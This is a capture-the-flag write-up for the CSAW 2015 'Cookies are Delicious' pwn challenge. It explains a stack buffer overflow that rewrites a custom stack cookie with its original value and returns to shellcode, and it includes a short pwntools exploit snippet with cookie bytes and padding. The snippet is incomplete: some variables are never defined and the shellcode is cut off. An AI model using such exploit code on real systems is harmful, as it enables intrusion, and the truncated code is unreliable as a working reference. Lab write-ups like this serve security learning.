Cookies are Delicious - CSAW 2015 Exploitation 100 Writeup

Sep 22, 2015 • pwn

CSAW 2015 pwn 100 challenge writeup

The binary prints out the address of the buffer during execution and also presents a blatant buffer overflow with the scanf(%s). Checking out the binary in gdb-peda showed that NX was disabled. So the scenario I thought was Buffer overflow with ASLR on and possible return to shellcode.

But the problem with this method is that a variable resembling a stack-cookie is placed at a higher memory address compared to the buffer. The program, before the epilogue, checks whether or not the value of this stack-cookie has been altered. If it has been altered, then the program calls exit() which renders our overflow useless.

So what we need to do is to overflow the buffer in such a way that the stack-cookie is overwritten with its original value itself. The cookie is at an offset of 128 bytes from the starting of the buffer and it is 10 bytes long.So the only thing left to do is to write a nice python code to do all this for us.

Expecto Pythonum

from pwn import *
print msg
buf_addr = int( msg[msg.find(":")+2:],16)#the address of buffer which is being printed onto the screen
print hex(buf_addr)
shellcode= "\x31\xc0\xb0\x30"
payload+=pack(0x475a31a5)+pack(0x40501555)+"\xe0\x85"  #the value of the stack-cookie
payload+="C"*10     #rest of padding required to reach saved instruction pointer

….Aaaand Voila! Shell..

Jayakrishna Menon V

Binary Explotation | Part of CTF team bi0s